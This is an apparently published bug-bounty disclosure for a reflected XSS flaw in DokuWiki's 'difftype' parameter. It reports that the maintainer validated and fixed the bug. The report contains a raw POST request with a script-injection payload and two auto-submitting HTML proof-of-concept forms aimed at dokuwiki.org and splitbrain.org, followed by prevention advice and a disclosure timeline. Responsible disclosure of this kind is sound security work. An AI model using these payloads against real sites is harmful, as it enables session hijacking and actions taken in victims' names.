Reflected XSS via POST in splitbrain/dokuwiki

1

Valid Reported on Sep 2nd 2022

Description

Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it. An attacker can use XSS to send a malicious script to an unsuspecting user. The end user's browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page.
while surfing dokuwiki.org with burpsuit i noticed that dokuwiki is using global like variables `difftype` , `DOKU_PREFS` and it`s vulnerable to XSS

Proof of Concept

you can send this request and capture it with burp and notice the alert

```
POST /start HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: https://www.dokuwiki.org/
Cookie: DokuWiki=57vk0n23v486p8vdjqc15oigpu; DOKU_PREFS=show_changes%23both
Content-Length: 139
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K
Host: www.dokuwiki.org
Connection: Keep-alive

difftype=sidebyside'"()%26%25<zzz><ScRiPt%20>alert("XSS_By_St
```

i added HTML file below. When someone opens this html file, or we can add it into our website, XSS will execute.

```
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://www.dokuwiki.org/start" method="POST">
      <input type="hidden" name="difftype" value="sidebyside&apos;&quot;&#4
      <input type="hidden" name="do" value="diff" />
      <input type="hidden" name="do&#91;diff&#93;" value="1" />
      <input type="hidden" name="id" value="ttps&#58;start" />
      <input type="hidden" name="rev2&#91;0&#93;" value="1" />
      <input type="hidden" name="rev2&#91;1&#93;" value="0" />
      <input type="hidden" name="sectok" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
```

How to prevent XSS attacks:

Preventing cross-site scripting is trivial in some cases but can be much harder depending on the complexity of the application and the ways it handles user-controllable data. In general, effectively preventing XSS vulnerabilities is likely to involve a combination of the following measures:

Filter input on arrival. At the point where user input is received, filter as strictly as possible based on what is expected or valid input.

Encode data on output. At the point where user-controllable data is output in HTTP responses, encode the output to prevent it from being interpreted as active content.

Depending on the output context, this might require applying combinations of HTML, URL, JavaScript, and CSS encoding.

Use appropriate response headers. To prevent XSS in HTTP responses that aren't intended to contain any HTML or JavaScript, you can use the Content-Type and X-Conte
headers to ensure that browsers interpret the responses in the way you inte
Content Security Policy. As a last line of defense, you can use Content Security Policy (CSP) to

reduce the severity of any XSS vulnerabilities that still occur.

Impact

The consequence of an XSS attack is the same regardless of whether it is stored or reflected (or DOM Based). The difference is in how the payload arrives at the server. If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user. Amongst other things, the attacker can:
Perform any action within the application that the user can perform.
View any information that the user is able to view.
Modify any information that the user is able to modify.
Initiate interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user.

References

- https://owasp.org/www-community/attacks/xss/
- https://portswigger.net/web-security/cross-site-scripting/preventing
- https://owasp.org/www-project-top-ten/2017/A7_2017-Cross-Site_Scripting_(XSS)

CVE
CVE-2022-3123
(Published)

Vulnerability Type
CWE-79: Cross-site Scripting (XSS) - Reflected

Severity
Medium (5.4)

Registry
Other

Affected Version
2022-07-31 "Igor" [current]

Visibility
Public

Status
Fixed

Found by

Eslam Kamal
@strik3r0x1

unranked

Fixed by

Andreas Gohr

@splitbrain

unranked

This report was seen 1,342 times.

We are processing your report and will contact the **splitbrain/dokuwiki** team within 24 hours.
3 months ago

Eslam Kamal modified the report 3 months ago

Eslam Kamal modified the report 3 months ago

We have contacted a member of the **splitbrain/dokuwiki** team and are waiting to hear back
3 months ago

Eslam Kamal 3 months ago Researcher

also i have found that https://www.splitbrain.org/ is powered by Dokuwiki

here is exploit of this issue on splitbrain.org

HTML POC:

```
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://www.splitbrain.org/projects" method="POST">
      <input type="hidden" name="difftype" value="sidebyside&apos;&quot;&#40;&#41;&amp
      <input type="hidden" name="do" value="diff" />
      <input type="hidden" name="do&#91;diff&#93;" value="1" />
      <input type="hidden" name="id" value="projects" />
      <input type="hidden" name="rev2&#91;0&#93;" value="1" />
      <input type="hidden" name="rev2&#91;1&#93;" value="0" />
      <input type="hidden" name="sectok" value="1" />
      <input type="submit" value="Submit request" />
```

```
    </form>
  </body>
</html>
```

POC
https://ibb.co/KNtMtVn

A **splitbrain/dokuwiki** maintainer has acknowledged this report 3 months ago

Andreas Gohr validated this vulnerability 3 months ago

Eslam Kamal has been awarded the disclosure bounty ✅

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

Andreas Gohr marked this as fixed in **2022-07-31a** with commit **63e9a2** 3 months ago

Andreas Gohr has been awarded the fix bounty ✅

This vulnerability will not receive a CVE ❌

Eslam Kamal 3 months ago — Researcher

Hi @maintainer @admin
if possible can we assign CVE id for this vulnerability?

Jamie Slome 3 months ago — Admin

Sorted :)